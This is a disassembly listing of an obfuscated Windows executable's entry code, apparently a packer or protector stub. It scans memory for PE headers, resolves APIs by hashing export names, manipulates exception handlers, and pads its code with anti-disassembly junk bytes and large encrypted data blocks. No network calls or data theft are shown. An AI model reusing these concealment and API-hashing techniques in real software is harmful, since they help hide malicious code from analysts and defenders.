		mov	bx, cx
		sub	eax, edx
		jp	loc_56D3DF
		jmp	loc_56D3DF
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		cmp	al, 4
		ror	dword ptr [eax], 0CEh
		and	esp, ebp
		stosd
; START	OF FUNCTION CHUNK FOR start


loc_56D3DF:				; CODE XREF: start+543B8j start+543BEj
		and	eax, 0FFFFF000h
		adc	ebx, 0B550FADh
		mov	ecx, edx
		xor	edi, edi


loc_56D3EE:				; CODE XREF: start+543F5j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_56D403
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_56D40B


loc_56D403:				; CODE XREF: start+543DFj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_56D3EE
; ---------------------------------------------------------------------------


loc_56D40B:				; CODE XREF: start+543EDj
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+5D13662h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_56D445
		mov	esi, [eax+1Ch]


loc_56D445:				; CODE XREF: start+5442Cj
		xor	eax, eax


loc_56D447:				; CODE XREF: start+54446j
		cmp	eax, 32h
		jz	short loc_56D46B
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_56D45C


loc_56D453:				; CODE XREF: start+54455j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_56D447
; ---------------------------------------------------------------------------


loc_56D45C:				; CODE XREF: start+5443Dj
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_56D4AD
		jmp	short loc_56D453
; ---------------------------------------------------------------------------


loc_56D46B:				; CODE XREF: start+54436j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5D1366Dh
		lea	eax, [ebp+5D1362Bh]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_56D4AD:				; CODE XREF: start+54453j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		stc
		push	0
		push	esi
		call	sub_56D4C4
		and	[esi-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_56D4C4	proc near		; CODE XREF: start+544A8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_56D4C4	endp

; ---------------------------------------------------------------------------
		dd 5600E76Fh, 5BCDD780h, 0BE458FBBh, 0D98C665Ch, 788EBB66h
		dd 0E904E180h, 13h, 0A1999C21h,	0C20178D7h, 36A995CEh
		dd 64683A44h, 0AB81B08h, 68850FC9h, 0E8000000h,	0Ch, 0C279AB3Fh
		dd 0D0307C16h, 0CAAE0522h, 0C0DCBB66h, 0E985C75Bh, 105D120h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0E589C353h, 0D2991FE9h, 0E95D18B0h
		dd 8, 0A4B4B564h, 2375ACBFh, 1CE9h, 0DE900h, 546D0000h
		dd 64D042B1h, 480EC5F0h, 0C77FCE0Ch, 0D120E985h, 5, 99858900h
		dd 0F05D106h, 8589D9BFh, 5D124FDh, 0DE8h, 8F73E700h, 8A3B2716h
		dd 0F63C3566h, 0E852162Fh, 5, 0B86224A2h, 5B20B27Dh, 8D0F5E59h
		dd 9, 3820Fh, 0BF0F0000h, 0BBC681D2h, 0F00005Eh, 0BFD0B7h
		dd 0F000000h, 68Dh, 0A7DB8100h,	0FF7EF589h, 58FC3734h
		dd 0E159BA66h, 5ECCE881h, 0DE8B42EFh, 11CE881h,	0BE96F3Ch
		dd 9A000000h, 0E77D1FEDh, 63F8677Eh, 0F081A884h, 4433262Bh
		dd 0C7D28166h, 3E04899Dh, 2810Fh, 72B50000h, 0E6F7B966h
		dd 0F724EF81h, 0F502197h, 8159D0B7h, 97F720C7h,	58F0F21h
		dd 52000000h, 5BCFB70Fh, 0A1F8FF81h, 850FFFFFh,	0FFFFFF97h
		dd 2880Fh, 0DF8B0000h, 689E9h, 13E9F900h, 79000000h, 0A86CDD3Fh
		dd 761B4EB1h, 0DB4ADFBEh, 9DC5808h, 21E8E89h, 0
; ---------------------------------------------------------------------------
		or	[ebp+5D11CE5h],	edx
		pusha
		sub	[ebp+5D10B49h],	edi
		mov	eax, 0
		mov	[ebp+5D1004Dh],	edx
		mov	edx, [esp+28h]
		pusha
		mov	esi, [ebp+5D10ACDh]
		sbb	di, 7418h
		popa
		mov	[ebp+5D11B31h],	eax
		pusha
		mov	eax, [ebp+5D127BDh]
		mov	ebx, edx
		popa
		mov	esi, 3Ch
		jbe	loc_56D6BE
		pusha
		add	[ebp+5D1270Dh],	eax
		jnp	$+6
		popa


loc_56D6BE:				; CODE XREF: ud2_____:0056D6AAj
		add	esi, [esp+24h]
		jmp	loc_56D6D8
; ---------------------------------------------------------------------------
		db 0AEh
		dd 0B16D2F33h, 4976EC99h, 0D634A074h, 0C8081A4h
; ---------------------------------------------------------------------------


loc_56D6D8:				; CODE XREF: ud2_____:0056D6C2j
		lodsw
		jmp	loc_56D6E7
; ---------------------------------------------------------------------------
		db 0E5h
		dd 61F1EA4Bh
		db 56h,	78h, 0B6h
; ---------------------------------------------------------------------------


loc_56D6E7:				; CODE XREF: ud2_____:0056D6DAj
		add	eax, [esp+24h]
		stc
		push	eax
		jl	loc_56D6FC
		pusha
		mov	eax, 53FCD534h
		push	eax
		pop	ecx
		popa


loc_56D6FC:				; CODE XREF: ud2_____:0056D6EDj
		mov	[esp], eax
		js	loc_56D706
		stc


loc_56D706:				; CODE XREF: ud2_____:0056D6FFj
		mov	eax, [eax+78h]
		jmp	loc_56D721
; ---------------------------------------------------------------------------
		dw 0E150h
		dd 0AABCA851h, 1016CE45h, 68DAE5Eh, 0FDA25B13h
		db 0DEh
; ---------------------------------------------------------------------------


loc_56D721:				; CODE XREF: ud2_____:0056D709j
		add	eax, [esp+28h]
		jmp	loc_56D72F
; ---------------------------------------------------------------------------
		dw 437Fh
		db 0F1h, 0F8h, 7Dh
; ---------------------------------------------------------------------------


loc_56D72F:				; CODE XREF: ud2_____:0056D725j
		mov	eax, [eax+18h]
		pusha
		add	di, 0F012h
		sub	[ebp+5D100FDh],	esi
		popa
		inc	eax
		pusha
		cld
		movzx	ebx, cx
		popa
		cld
		mov	[ebp+5D1383Eh],	eax
		jns	loc_56D759
		mov	[ebp+5D114A1h],	edi


loc_56D759:				; CODE XREF: ud2_____:0056D74Dj
		pop	eax
		jmp	loc_56D769
; ---------------------------------------------------------------------------
		db 3Dh
		dd 603CFF8Ch, 6AACBEC5h
; ---------------------------------------------------------------------------
		std


loc_56D769:				; CODE XREF: ud2_____:0056D75Aj
		mov	esi, [eax+78h]
		jno	loc_56D773
		clc


loc_56D773:				; CODE XREF: ud2_____:0056D76Cj
		add	esi, 1Ch
		mov	[ebp+5D13279h],	esi
		add	esi, [esp+24h]
		pusha
		mov	edx, [ebp+5D131FDh]
		mov	ebx, esi
		popa
		lea	edi, [ebp+5D10D05h]
		jmp	loc_56D79C
; ---------------------------------------------------------------------------
		db 27h,	97h, 0C9h
		dd 8E68D494h
; ---------------------------------------------------------------------------


loc_56D79C:				; CODE XREF: ud2_____:0056D790j
		mov	[ebp+5D11E11h],	ebx
		lodsd
		jno	loc_56D7AF
		mov	[ebp+5D12DD1h],	eax


loc_56D7AF:				; CODE XREF: ud2_____:0056D7A3j
		add	eax, [esp+24h]
		pusha
		mov	eax, [ebp+5D10D61h]
		sub	eax, 671DD1D4h
		popa
		stosd
		mov	[ebp+5D108A9h],	ecx
		lea	edi, [ebp+5D116C9h]
		jmp	loc_56D7DA
; ---------------------------------------------------------------------------
		db 0C5h
		dd 4A58A98h
		db 0C8h, 0E5h
; ---------------------------------------------------------------------------


loc_56D7DA:				; CODE XREF: ud2_____:0056D7CEj
		lodsd
		cld
		add	eax, [esp+24h]
		mov	[ebp+5D12AB1h],	edx
		jz	loc_56D803
		jmp	loc_56D803
; ---------------------------------------------------------------------------
		db 0A0h, 97h, 0C8h
		dd 2F76EA3Eh, 5BEAD596h, 8B9E9E3Bh
		db 0BDh, 0D4h, 13h
; ---------------------------------------------------------------------------


loc_56D803:				; CODE XREF: ud2_____:0056D7E6j
					; ud2_____:0056D7ECj
		nop
		jmp	loc_56D81D
; ---------------------------------------------------------------------------
		db 58h,	0CDh, 99h
		dd 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh, 2E18317h
		db 39h
; ---------------------------------------------------------------------------


loc_56D81D:				; CODE XREF: ud2_____:0056D804j
		push	eax
		jnb	loc_56D830
		jg	loc_56D830
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax


loc_56D830:				; CODE XREF: ud2_____:0056D81Ej
					; ud2_____:0056D824j
		nop
		cld
		stosd
		jz	loc_56D843
		pusha
		mov	edi, [ebp+5D11589h]
		mov	al, 69h
		popa


loc_56D843:				; CODE XREF: ud2_____:0056D833j
		jmp	loc_56D858
; ---------------------------------------------------------------------------
		dd 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh, 40EEA232h
; ---------------------------------------------------------------------------


loc_56D858:				; CODE XREF: ud2_____:loc_56D843j
		lea	edi, [ebp+5D11CB5h]
		pusha
		mov	edx, ebx
		mov	[ebp+5D10719h],	esi
		popa
		lodsd
		stc
		add	eax, [esp+28h]
		add	[ebp+5D11BA5h],	ecx
		cld
		stosd
		pusha
		cld
		push	ecx
		mov	di, si
		pop	esi
		popa
		pop	esi
		xor	[ebp+5D1107Dh],	ebx


loc_56D885:				; CODE XREF: ud2_____:0056D911j
		dec	dword ptr [ebp+5D1383Eh]
		cmp	dword ptr [ebp+5D1383Eh], 0
		jnz	short loc_56D8A4
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+5D13CB7h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_56D8A4:				; CODE XREF: ud2_____:0056D892j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+5D124D9h]
		test	al, al
		jz	short loc_56D8BB
		cmp	al, [edi]
		jnz	short loc_56D907


loc_56D8BB:				; CODE XREF: ud2_____:0056D8B5j
		push	edi
		xor	al, al


loc_56D8BE:				; CODE XREF: ud2_____:0056D8BFj
		scasb
		jnz	short loc_56D8BE
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_56D8CB:				; CODE XREF: ud2_____:0056D8F4j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_56D8DA:				; CODE XREF: ud2_____:0056D8EDj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_56D8EB
		xor	ax, 5041h
		xor	bx, 5449h


loc_56D8EB:				; CODE XREF: ud2_____:0056D8E0j
		dec	dh
		jnz	short loc_56D8DA
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_56D8CB
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_56D916


loc_56D907:				; CODE XREF: ud2_____:0056D8B9j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+5D11B31h]
		jmp	loc_56D885
; ---------------------------------------------------------------------------


loc_56D916:				; CODE XREF: ud2_____:0056D905j
		pop	esi
		jmp	loc_56D929
; ---------------------------------------------------------------------------
		dd 0CDA45253h, 0E88DB0ADh, 0D557C240h
		db 31h
; ---------------------------------------------------------------------------


loc_56D929:				; CODE XREF: ud2_____:0056D917j
		pusha
		jle	loc_56D934
		mov	dx, 4AAh


loc_56D934:				; CODE XREF: ud2_____:0056D92Aj
		mov	si, bx
		popa
		mov	eax, [ebp+5D11B31h]
		mov	[ebp+5D122ADh],	eax
		shl	eax, 1
		sub	[ebp+5D1087Dh],	esi
		add	eax, [ebp+5D11CB5h]
		stc
		sub	esi, esi
		jo	loc_56D970
		pusha
		jmp	loc_56D969
; ---------------------------------------------------------------------------
		db 47h,	0E2h, 58h
		dd 0DEAE1156h
		db 32h
; ---------------------------------------------------------------------------


loc_56D969:				; CODE XREF: ud2_____:0056D95Cj
		sub	[ebp+5D113A5h],	esi
		popa


loc_56D970:				; CODE XREF: ud2_____:0056D955j
		xchg	eax, esi
		pusha
		mov	eax, 4862E637h
		popa
		lodsw
		mov	[ebp+5D1082Dh],	esi
		sub	[ebp+5D11AC1h],	edi
		shl	eax, 2
		pusha
		mov	edx, [ebp+5D112B5h]
		xor	eax, [ebp+5D11AE9h]
		popa
		add	eax, [ebp+5D10D05h]
		add	[ebp+5D10AF9h],	edx ; CODE XREF: ud2_____:0056D9FCj
		jmp	loc_56D9B1
; ---------------------------------------------------------------------------
		dec	ecx
		retf	5D3h
; ---------------------------------------------------------------------------
		dd 8DE953F5h
		db 87h
; ---------------------------------------------------------------------------


loc_56D9B1:				; CODE XREF: ud2_____:0056D9A3j
		xchg	eax, esi
		mov	[ebp+5D12191h],	eax
		lodsd
		mov	[ebp+5D132D9h],	ecx
		mov	ecx, [esp+24h]
		mov	[ebp+5D11501h],	edx
		add	eax, [esp+24h]
		mov	[ebp+5D1204Dh],	edi
		mov	[esp+1Ch], eax
		pusha
		mov	[ebp+5D11D59h],	ecx
		push	ecx
		mov	[ebp+5D12455h],	edi
		pop	eax
		popa
		xchg	eax, esi
		sub	[ebp+5D130B5h],	edi
		pusha
		call	loc_56D9FE
		push	ds
		push	edx
		ror	esi, 0DAh
		jl	short near ptr loc_56DA0B+4
		scasd
		jnz	short near ptr loc_56D99D+5


loc_56D9FE:				; CODE XREF: ud2_____:0056D9EFp
		mov	[ebp+5D118FDh],	edx
		pop	edi
		jo	loc_56DA11


loc_56DA0B:				; CODE XREF: ud2_____:0056D9F9j
		jns	$+6


loc_56DA11:				; CODE XREF: ud2_____:0056DA05j
		popa
		lodsb
		mov	[ebp+5D11B15h],	esi
		xor	cl, cl
		clc
		mov	[ebp+5D10B29h],	edi
		inc	cl
		cld


loc_56DA25:				; CODE XREF: ud2_____:0056DA72j
		rcl	al, 1
		jnb	loc_56DADF
		ja	loc_56DA3F
		jnp	loc_56DA3F
		jno	$+6


loc_56DA3F:				; CODE XREF: ud2_____:0056DA2Dj
					; ud2_____:0056DA33j
		rcl	al, 1
		jnb	loc_56DADF
		clc
		rcl	al, 1
		jb	loc_56DADF


loc_56DA50:				; CODE XREF: ud2_____:0056DAB2j
		jmp	loc_56DA5C
; ---------------------------------------------------------------------------
		db 0D2h, 5Bh, 43h
		dd 0BD5C56ADh
; ---------------------------------------------------------------------------


loc_56DA5C:				; CODE XREF: ud2_____:loc_56DA50j
		rcl	al, 1
		jb	loc_56DADF
		jp	loc_56DA70
		add	[ebp+5D12511h],	ebx


loc_56DA70:				; CODE XREF: ud2_____:0056DA64j
		dec	cl
		jns	loc_56DA25
		jmp	loc_56DA8B
; ---------------------------------------------------------------------------
		db 1Eh,	0DEh, 22h
		dd 329A3DD3h, 4E48F0B1h
		db 0ACh, 5Ah, 13h
; ---------------------------------------------------------------------------


loc_56DA8B:				; CODE XREF: ud2_____:0056DA78j
		add	esp, 20h
		cmc
		mov	dword ptr [esp-4], 0
		sub	[ebp+5D10FADh],	ecx
		mov	eax, 1
		clc
		lea	ecx, [ebp+5D16FC0h]
		pusha
		mov	cx, si
		call	sub_56DAC4
		jns	short loc_56DA50
		xor	ecx, ecx
		mov	esi, 22EF5C48h
		cli
		insb
; ---------------------------------------------------------------------------
		db 0FFh, 0DCh, 26h
; ---------------------------------------------------------------------------
		fmul	st, st(5)
		sbb	esi, esp

; =============== S U B	R O U T	I N E =======================================



sub_56DAC4	proc near		; CODE XREF: ud2_____:0056DAADp
		push	esi
		pop	edx
		pop	esi
		popa
		jmp	ecx
sub_56DAC4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_56DADF
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0CD5DD1BAh, 139AC44Ch, 0BD7A226Fh
		db 0Dh,	62h, 47h
; ---------------------------------------------------------------------------


loc_56DADF:				; CODE XREF: ud2_____:0056DA27j
					; ud2_____:0056DA41j ...
		mov	byte ptr [ebp+5D124D9h], 0
		jmp	loc_56DAFA
; ---------------------------------------------------------------------------
		db 4Fh
		dd 734561DEh, 99303BE5h, 76D7D9Dh
		db 0C7h, 0D4h
; ---------------------------------------------------------------------------


loc_56DAFA:				; CODE XREF: ud2_____:0056DAE6j
		popa
		jmp	loc_56DB0C
; ---------------------------------------------------------------------------
		dd 5640BC1Eh, 1E549449h, 0C15B4853h
; ---------------------------------------------------------------------------


loc_56DB0C:				; CODE XREF: ud2_____:0056DAFBj
		stc
		retn	8
; ---------------------------------------------------------------------------
		dd 606096FCh, 8B0Fh, 21BF0000h,	6179137Dh, 5061D2B2h, 198A0Fh
		dd 14E90000h, 14000000h, 73535750h, 0EF35AB9Bh,	441CD7A5h
		dd 0B8FB7FB8h, 969A727Ch, 0CCC28060h, 1EC59D8Bh, 896105D1h
		dd 0D13E92B5h, 8D89FC05h, 5D13EA3h, 169DB589h, 0B58D05D1h
		dd 5D13D8Eh, 14F98589h,	12E905D1h, 2D000000h, 1BB17F4Eh
		dd 0C99E2C93h, 0FA831ABDh, 9EE43CE3h, 35858DF1h, 60005B7Eh
		dd 0B11858Bh, 0FF6105D1h, 0BD3160D0h, 5D123C1h,	0F5D28166h
		dd 895E616Bh, 0D12AE195h, 0B589C305h, 5D11CD1h,	1AC18529h
		dd 0B58B05D1h, 5D13E92h, 16F9BD29h, 8D8B05D1h, 5D13EA3h
		dd 0C870Fh, 8D0F0000h, 6, 15398D31h, 0B805D1h, 60000000h
		dd 1D618D8Bh, 8D8905D1h, 5D120FDh, 60D98B61h, 8B66DAB0h
		dd 99E961DEh, 0FC000000h, 0B8602632h, 2878B84h,	8902B261h
		dd 0D10AD18Dh, 5AE905h,	32FC0000h, 6870FC2h, 1000000h
		dd 0D11F1195h, 1D7A0505h, 9D318A75h, 5D10A71h, 14E9CC8Ah
		dd 2D000000h, 0BA646298h, 7DA318C6h, 0B6D26F43h, 8849124Eh
		dd 0D3448599h, 5E9C8h, 0A8240000h, 3543AB19h, 98D10842h
		dd 7E9h, 0D91CFA00h, 853519BAh,	8D89CAFEh, 5D1200Dh, 850FD20Ah
		dd 0FFFFFF9Fh, 599509h,	294B05D1h, 0D112E995h, 8F0F4605h
		dd 6, 0A5B86660h, 0B53161B4h, 5D10969h,	850FDB0Bh, 0FFFFFF60h
		dd 0CE9h, 2F8B4000h, 30071095h,	0C511CF75h, 8A0FCF95h
		dd 6, 6258589h,	5D1h, 2A659509h, 5D1h, 4D98060h, 61E8B6h
		dd 0F800h, 22319D89h, 858D05D1h, 5D1384Ah, 250D8529h, 858905D1h
		dd 5D13135h, 14E9h, 26A73400h, 55DBFD61h, 0FCF0450Ch, 0E4F4DCB5h
		dd 4A4914D6h, 0E9858D05h, 8905D13Ch, 0D110F5B5h, 49858905h
		dd 0E805D10Dh, 0Ch, 0EE5FE02Dh,	3751D61Bh, 0E5533126h
		dd 0F12BA5BBh, 0BE665A3Fh, 0C2819D08h, 649Eh, 2311B58Bh
		dd 9DB805D1h, 8128D826h, 0D83E6AF0h, 0EE828h, 0A3070000h
		dd 87A2B5A2h, 2CB269E0h, 8CA2180Fh, 32FF59F5h, 80605FF8h
		dd 858B94C9h, 5D105D9h,	7EC78161h, 80384953h, 0C78139CDh
		dd 2D3FDD2Eh, 0C518D8Bh, 0EF8105D1h, 34AABDBEh,	893A89F9h
		dd 0D12A31BDh, 2BEA8105h, 13A6F58h, 0D12CD99Dh,	27C28105h
		dd 8B3A6F58h, 0D1208D9Dh, 1E88105h, 0F000000h, 1C85h, 3BD78000h
		dd 25E9h, 0D4FD3000h, 61626FD3h, 1F1BFD21h, 3817A79Bh
		dd 74F779E6h, 1D8D09C6h, 0E905D126h, 0FFFFFF82h, 0FB5708F0h
		dd 14EB8D10h, 4	dup(0)
		dd 80h,	408D858Dh, 858905D1h, 5D11961h,	3FC4BD83h, 0F0005D1h
		dd 13584h, 0D985C600h, 5605D124h, 4E8h,	1F6D3900h, 448B50D4h
		dd 8B0424h, 4244489h, 99B5FF58h, 8D05D106h, 0D1384A85h
		dd 89D0FF05h, 0D13FB885h, 0D985C605h, 5605D124h, 0DBFF4068h
		dd 24048121h, 7ACCB912h, 699B5FFh, 858D05D1h, 5D1384Ah
		dd 8589D0FFh, 5D13FBCh,	4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 0D13FC885h
		dd 1F40505h, 0E0C10000h, 4895002h, 0FF006A24h, 0D13FBC95h
		dd 0C0858905h, 8B05D13Fh, 0FFFFB8D8h, 95FFFFFFh, 5D11961h
		dd 95FFC38Bh, 5D11961h,	8DE9h, 0C4BD8300h, 5D13Fh, 1850Fh
		dd 57C30000h, 3FC0BD8Bh, 83AB05D1h, 0D13FC085h,	0C35F0405h
		dd 3FC4BD83h, 0F0005D1h, 185h, 8360C300h, 0D13FC0ADh, 9D8B0405h
		dd 5D13FC0h, 0FFFC7B83h, 1D850Fh, 1D680000h, 810F8555h
		dd 0D51D2434h, 6A0F85h,	95FF33FFh, 5D13FB8h, 26E9C361h
		dd 0E8000000h, 4, 8000h, 24448B50h, 89008B04h, 58042444h
		dd 33FF006Ah, 3FB895FFh, 0AD8305D1h, 5D13FC0h, 0FFA8E904h
		dd 0E948FFFFh, 1ADh, 24748B60h,	247C8B24h, 80B2FC28h, 8846068Ah
		dd 2BB4707h, 2000000h, 5850FD2h, 8A000000h, 0D2124616h
		dd 0FFE2830Fh, 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h
		dd 6A83h, 2C03300h, 5850FD2h, 8A000000h, 0D2124616h, 12A830Fh
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 840FC013h
		dd 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h, 0B8FFFFFFh
		dd 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh, 34850F00h
		dd 0B9000000h, 1, 850FD202h, 5,	1246168Ah, 2C913D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h
		dd 8E95EA4h, 48FFFFFFh,	8A08E0C1h, 0E88B4606h, 1B9h, 0FD20200h
		dd 585h, 46168A00h, 0C913D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh, 3D0000h, 0F000005h
		dd 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh
		dd 870F7FF8h, 3, 5602C183h, 0F02BF78Bh,	0E95EA4F3h, 0FFFFFE9Bh
		dd 3346068Ah, 1E8C0C9h,	17840Fh, 0D1830000h, 56E88B02h
		dd 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh, 247C8928h
		dd 8C2611Ch, 929BA00h, 0D3E90000h, 9, 1682ECD8h, 0D009A9DBh
		dd 83F6DF3Eh, 9CDD8994h, 0FFD11A9Ah, 636E5809h,	4513E3E2h
		dd 5D0FA2F6h, 1D8FECFEh, 0C201A599h, 92A58D29h,	93988E86h
		dd 8FB275D1h, 7E7A5203h, 4541EFE3h, 5209A0F6h, 78FECFDh
		dd 0D81CBA99h, 8EBB8D36h, 878F9598h, 0BBD11EDFh, 7E7E454Fh
		dd 4413A2F2h, 4609B5B8h, 196ECEBh, 0D61CBBD6h, 8336h, 63h dup(0)
		dd 1C8BECD8h, 0D81AB5D7h, 99A68D29h, 9F8F9D9Ah,	0BED75F92h
		dd 6879171Ch, 5641ADE3h, 5708B9F7h, 1D93BEB9h, 0D000B5D7h
		dd 0CBB8C47Bh, 8C88958Ch, 0ACC60CDFh, 2376521Bh, 5C31CE8Ch
		dd 5615ADFDh, 1D93ECB5h, 0D30FB3D5h, 0CBA2C47Bh, 93928893h
		dd 0B2DA12DFh, 2D624500h, 1005ADE7h, 4715A9EAh,	5392BEF8h
		dd 0C51BB3C0h, 84A4DD7Bh, 939C8892h, 0D1h, 48h dup(0)
; ---------------------------------------------------------------------------
		fsubr	st, st(4)
		test	[ecx], eax
		fdivr	dword ptr [edi-75D62DFBh]
		movsd
		retf
; ---------------------------------------------------------------------------
		dd 92929581h, 0ACDE17DFh, 687E554Fh, 5F07E3E8h,	1302A2EDh
		dd 1D88B9EBh, 9709B2D0h, 92F6C332h, 0DE8F8F9Ah,	0ABCC068Ch
		dd 7355A0Ah, 550D938Bh,	1F03BFF9h, 1F88B9B9h, 970ABDD6h
		dd 8DF6D932h, 0DE909587h, 0B0D21A92h, 6C3B4E1Dh, 4241A7E8h
		dd 5212BFFDh, 0AC6B8EBh, 971CA9D6h, 8CB9DF2Bh, 0D0909B87h
		dd 62h dup(0)
		dd 168AA5DFh, 0C501BF99h, 9FA6D829h, 0D0DC9E90h, 0B6D72BDFh
		dd 7F6B171Ch, 5113A4E9h, 520EECF5h, 1684ECEAh, 0DA4EB2DCh
		dd 9BBFC33Ah, 8A9C9680h, 0BE9F1B9Ah, 603B5301h,	5503BAE7h
		dd 470FC192h, 1AC6BFBEh, 0D40BBAD7h, 0CBB2C82Fh, 9FDD8397h
		dd 0ADD629DFh, 623B441Ah, 4202E3F4h, 560DAFF9h,	27C6E2FDh
		dd 971DB5D1h, 8EBAC43Dh, 90928DD5h, 0A89F0BD8h,	2D704500h
		dd 5D18ADE7h, 1D03BEF7h, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 0A5E90000h, 0E900002Ch, 9, 2DA9DA9Dh, 75278022h, 958BFCACh
		dd 5D11E79h, 0B589C08Bh, 5D12581h, 1671BD83h, 750005D1h
		dd 1DBD8309h, 5D112h, 53501374h, 1B8C08Bh, 8D000000h, 0D3A06F9Dh
		dd 5BD3FF05h, 1DBD8358h, 5D112h, 53501174h, 1B8h, 209D8D00h
		dd 0FF05D39Fh, 0E8585BD3h, 0Ah,	768AAB1Ah, 0BBE5F38Fh
		dd 8B667861h, 6A5BD6h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0C3CFB7C3h, 56A1A4F6h, 32BD9509h
		dd 8B5A05D1h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0FC1D293Dh, 3859ED0h, 0EDBD835Eh
		dd 5D131h, 1CC840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0A09BCAC3h, 8892B95h
		dd 0E9075686h, 12h, 0FAD8ADA5h,	8AD21B6Ah, 0A1C2F297h
		dd 20936FEAh, 0BD83B4CBh, 5D110E5h, 83840F00h, 8B000001h
		dd 6A60D9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 516ED3C3h, 0AE8FFh, 2ECC0000h, 95455BFCh
		dd 22DCDBFEh, 5BDEBF0Fh, 1AF1B589h, 858B05D1h, 5D110E5h
		dd 0B5C20BAh, 3E80507h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 90F544C3h, 5E857h, 3BA90000h
		dd 0B32D6FE4h, 505A5B2Dh, 41089EBAh, 0E2819039h, 29E1E803h
		dd 4C91858Dh, 9D8B05D1h, 5D10D6Dh, 50F88A90h, 6A90D88Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0A56AC350h, 972A1F24h, 0F880F92h,	0E9000000h
		dd 0Ah,	0BCE37A70h, 99D02DD7h, 858DC3FDh, 5D14C6Fh, 22999503h
		dd 665005D1h, 895157BAh, 0B5892404h, 5D12A55h, 1D4995FFh
		dd 800F05D1h, 6, 23AD8D29h, 0C48305D1h,	0BD958B0Ch, 8D05D10Ah
		dd 0D14C6F85h, 601CB205h, 7E9h,	31321A00h, 0F2A4C987h
		dd 94C818BBh, 0BB906119h, 79C5B3A3h, 0D08B6650h, 8A0F5790h
		dd 0Bh,	5E8h, 0E9AF9800h, 5A5AC101h, 6A026Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 1F6DC5C3h
		dd 543B39FDh, 0F79E9F7h, 68Dh, 0BDC38100h, 0FF6465ACh
		dd 68857495h, 159D2900h, 6105D125h, 192D8589h, 85C705D1h
		dd 5D14CA2h, 1,	0C518501h, 605005D1h, 4880Fh, 0BA660000h
		dd 89611C8Ah, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
